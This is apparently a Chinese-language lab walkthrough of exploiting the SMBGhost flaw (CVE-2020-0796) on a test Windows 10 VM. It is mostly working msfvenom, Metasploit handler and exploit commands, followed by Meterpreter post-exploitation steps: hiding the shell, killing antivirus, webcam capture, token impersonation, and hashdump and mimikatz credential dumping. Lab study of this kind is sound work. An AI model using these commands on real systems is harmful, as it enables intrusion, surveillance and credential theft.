一、CVE-2020-0796简介
0x01 漏洞简介
CVE-2020-0796是由于SMBv3协议在处理恶意的压缩数据包时出错所造成的;在解压数据包的时候使用客户端传过来的长度进行解压时,并没有检查长度是否合法,最终导致整数溢出。它可让远程且未经身份验证的攻击者在目标系统上执行任意代码,该漏洞类似于永恒之蓝。
0x02 影响版本
Windows 10 Version 1903 for 32-bit Systems
Windows 10 Version 1903 for x64-based Systems
Windows 10 Version 1903 for ARM64-based Systems
Windows Server, Version 1903 (Server Core installation)
Windows 10 Version 1909 for 32-bit Systems
Windows 10 Version 1909 for x64-based Systems
Windows 10 Version 1909 for ARM64-based Systems
Windows Server, Version 1909 (Server Core installation)
二、实验环境
靶机:存在漏洞的win10虚拟机环境,下载地址https://msdn.itellyou.cn/
攻击机:kali
Poc:https://github.com/chompie1337/SMBGhost_RCE_PoC
三、shell获取
0x01 使用msf生成shellcode
msfvenom -p windows/x64/meterpreter/bind_tcp lport=3333 -f py -o shellcode.txt
将生成的shellcode替换exp中的exploit.py中的USER_PAYLOAD保存即可
0x02 使用kali中的msf开启目标端口连接处理器
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.232.134
rhost => 192.168.232.134
msf5 exploit(multi/handler) > set lport 3333
lport => 3333
msf5 exploit(multi/handler) > exploit
0x03 执行攻击脚本
python3 exploit.py -ip 192.168.232.134
成功获得shell
注意要关闭 Microsoft Defender 防火墙,要不不能执行成功。
四、Meterpreter后渗透攻击
0x01 进程迁移、隐藏shell
在刚获得Meterpreter shell时,该shell是极其脆肉和易被发现的,所以第一步要移动这个shelll,把它和目标机中一个稳定的进程绑定在一起。
meterpreter > getpid \\获取当前Meterpreter shell进程PID
meterpreter > run post/windows/manage/migrate \\自动寻找合适的进程,然后迁移
当然也可以使用migrate迁移到你指定的进程。
0x02 常见系统命令
meterpreter > sysinfo \\sysinfo查看目标机的系统信息
meterpreter > idletime \\查看机器运行时间
meterpreter > route \\查看路由信息
meterpreter > getuid \\查看当前渗透成功的用户名
meterpreter > run post/windows/gather/enum_logged_on_users \\列举当前登录的用户
meterpreter > run post/windows/gather/enum_applications \\列举应用程序
meterpreter > run post/windows/gather/checkvm \\检查是否是虚拟机
0x03 实用操作
meterpreter > run post/windows/manage/killav \\关闭杀毒软件
meterpreter > run post/windows/manage/enable_rdp \\开启远程桌面
meterpreter > shell \\进入目标机shell
0x04 截屏与操作摄像头
meterpreter > load espia \\需要先加载Espia插件
Loading extension espia...Success.
meterpreter > screengrab
Screenshot saved to: /root/rDMtYWQQ.jpeg
meterpreter > webcam_list \\查看有没有摄像头
meterpreter > webcam_snap \\打开摄像头,使用摄像头抓取一张图片
meterpreter > webcam_stream \\开启直播模式
0x05 文件操作
meterpreter > getlwd \\查看当前本地在哪个目录
meterpreter > pwd \\查看目标价在哪个目录
meterpreter > ls \\列出目标机当前目录文件
meterpreter > search -f *.txt -d c:/tmp \\搜索文件
meterpreter > download c:/tmp/test.txt.txt /root \\下载指定文件
meterpreter > upload /root/test2.txt c:/tmp \\上传文件到指定目录
0x06 提权相关操作
c:\>whoami /groups \\查看我们当前的权限
查看系统补丁安装情况,可以利用未安装补丁的漏洞进一步渗透提权。
有如下2种补丁查看方法
c:\>systeminfo \\系统查看命令查看补丁安装情况
c:\>Wmic qfe get Caption,Description,HotFixID,InstalledOn \\使用WMIC列出补丁
meterpreter > getsystem \\自动提权命令
此处提权失败可能是因为我本身就是最高权限,无需提权。
0x07 令牌窃取
meterpreter > use incognito \\加载incognito插件
Loading extension incognito...Success.
meterpreter > list_tokens -u \\列出可用的token
meterpreter > impersonate_token DESKTOP-I29CS9S\\root \\令牌假冒,假冒root用户的令牌
0x08 HASH攻击
meterpreter > hashdump \\使用hashdump抓取密码
root:1000:aad3b435b51404eeaad3b435b51404ee:d503a8571a79baf9b951884f350ad048:::
meterpreter > run windows/gather/smart_hashdump \\使用smart_hashdump导出所有用户的hash到文件
meterpreter > load mimikatz \\使用mimikatz抓取密码
meterpreter > msv \\抓取系统hash值
meterpreter > Kerberos \\抓取系统票据
meterpreter > wdigest \\抓取系统账户信息
meterpreter > mimikatz_command -f samdump::hashes \\抓取hash,mimikatz_command可以让我们使用Mimikatz全部功能。这里不知道为啥没用抓取成功,可能是win10不支持?
meterpreter > mimikatz_command -f handle::list \\查看进程